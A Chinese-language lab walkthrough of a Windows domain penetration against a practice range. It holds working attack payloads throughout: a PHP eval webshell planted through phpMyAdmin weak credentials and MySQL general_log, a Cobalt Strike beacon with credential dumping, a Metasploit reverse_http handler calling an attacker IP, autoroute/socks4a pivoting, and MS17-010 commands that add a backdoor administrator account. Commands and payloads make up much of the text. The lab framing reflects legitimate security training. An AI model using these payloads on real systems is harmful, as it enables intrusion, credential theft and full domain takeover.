域渗透
域渗透
- 本篇文章旨在演示一遍域渗透的大致流程
1. 网络拓扑
2. 靶场实战
-
首先我们来扫描一下target1开启了哪些端口(服务)
- nmap -T4 -O 192.168.1.104
- 扫描结果显示,target1开启了80,135,139,445,1025,1026,1027,1028,1029,1030,3306,5357端口,且为windows操作系统
-
我们还是从我们最熟悉的80服务开始
- 访问一下target1的ip地址:192.168.1.104
- 发现是一个 phpstudy探针 ,这里我们直接可以收集一些必要的信息:
- 对方的服务器是:win7,且是一个php站
- www目录的绝对路径是:C:/phpStudy/WWW
- apache和php的版本为:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
-
通过phpstudy探针页面的出现,我们可知该主机搭建网站所使用的环境是集成环境,而集成环境一般都会有PHPmyadmin,尝试以下
-
好家伙,还真的有
-
而且还存在弱口令:root/root(天助我也!!~)
-
尝试一波sql写一句话
-
payload:
select "<?php @eval($_POST['cmd']);?>" into outfile " C:/phpStudy/WWW/shell.php"
-
这里的绝对路径在phpstudy探针中可以获得
-
但可惜写入失败了
-
通过报错信息我们可以得知,应该是目标机mysql的secure-file-priv参数导致我们写入失败
-
核实一下是否是该原因:
-
的确是这样。_secure_file_priv参数被置为了NULL,那我们只能放弃该方法了
-
可能会有的同学会问:
- 难道我们不能使用sql修改一下该变量的值吗?我们可是root啊!
- 很可惜,该变量我们只可以在本地的my.ini文件中修改,然后再重启mysql生效,不能使用sql进行修改。
-
-
使用mysql的日志来getshell
- payload:
SHOW VARIABLES LIKE "%general_%" //查看mysql日志功能是否打开 set global general_log=on //手动开启mysql日志功能 set global general_log_file="C:\phpStudy\WWW\shell.php" //设置mysql的日志路径
-
首先我们看一下mysql的日志功能是否开启,若没有开启则需要我们手动打开。
-
执行查询语句:select "",并访问:192.168.1.104/shell.php,可以看到访问成功
-
使用蚁剑进行连接
-
成功 getshell target1
-
接着我们上传一个CS的马,并赋予权限执行,使用CS进行监听
-
在生成木马之前,你若没有监听器,那便先设置添加一个监听器
-
生成一个windows的CS马
-
使用蚁剑将木马上传至target1上,并利用虚拟终端赋予木马执行权限执行,CS上线
-
-
使用CS窃取target1的账号密码
- 这里我们需要使用到CS的插件
- 这里我们需要使用到CS的插件
-
接下来为了方便我们的内网渗透,让CS和msf做一个联动
-
先添加一个监听器
-
设置msf监听,成功联动
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.1.103 set lport 4444 exploit
-
-
接下来我们探询target1所连的网段还有哪些,并将其添加进路由,设置socks4a代理
- 所需命令:
run get_local_subnets run autoroute -s 192.168.33.0/24 run autoroute -p msfconsole use auxiliary/server/socks4a set srvhost=192.168.1.103 set srvport=1080 exploit
- 编辑proxychains代理软件的配置文件:/etc/proxychains.conf
-
扫描target2的端口服务
- 在target1的msf会话中执行 arp -a 可以查看当前与target1所处同一网段内存活的主机还有哪些,根据所查结果,还有存活主机:192.168.33.131 和 192.168.33.132
- 我们先扫描target2:192.168.33.131(域成员)
- proxychains nmap -Pn -sT 192.168.33.131
- 可以看到target2开启了445端口,可能存在MS17_010
-
盲打一波,看是否存在永恒之蓝(MS17_010)
- 所需命令
proxychains msfconsole //一定要加上proxychains关键字,因为target2在内网 use auxiliary/admin/smb/ms17_010_command set rhost 192.168.33.131 set command net user hack nicai123.com /add exploit set command net localgroup administrators hack /add exploit set command net users exploit set command net localgroup administrators exploit
-
利用成功
-
成功的在target2中创建类hack用户,并将该用户添加至administrators组中
-
至此,域成员target2已经拿下
-
扫描target3(域控)
- 由于域控和target2在同一个网段(192.168.33.0/24)内,所以不需要再添加路由
- 直接扫描:proxychains nmap -Pn -sT 192.168.33.132 -p 445
- 开启状态,直接上MS17_010_psexec
proxychains msfconsole set payload windows/meterpreter/bind_tcp set rhost 192.168.33.132 exploit
-
可以看到,该漏洞的确存在,但是会话却没有连接上
-
经过分析,应该是目标机target3的防火墙进行拦截了
-
如下图显示,连接超时(timeout)
-
那我们就只好扫描一下全部端口,看看防火墙放行了哪些端口,可以让我们钻空子:proxychains nmap -Pn -sT 192.168.33.132
-
可以看到还有:135,80,445,53,139等端口放行
-
经过一次次的端口测试,只有53端口可以弹出会话并保持会话的连接,而其他的端口虽然可以弹出会话,但是维持不到1秒就断开了。
-
可是又白高兴一场,会话虽然保持住了,但是却执行不了命令。。。
-
是真的不知道,是环境的问题还是就是这样设计的
- 其实在第10步,我们可以直接确定域控的ip,对域控进行渗透:
- 确定域控ip的方法:
- 先使用systeminfo命令查看当前域环境的域名,比如是:nicai.com
- 然后去ping这个域名:ping nicai.com ,命令返回信息中的ip就是域控制器的ip地址
- 在这里因为是靶场嘛,多练习一下也是好的
- 确定域控ip的方法: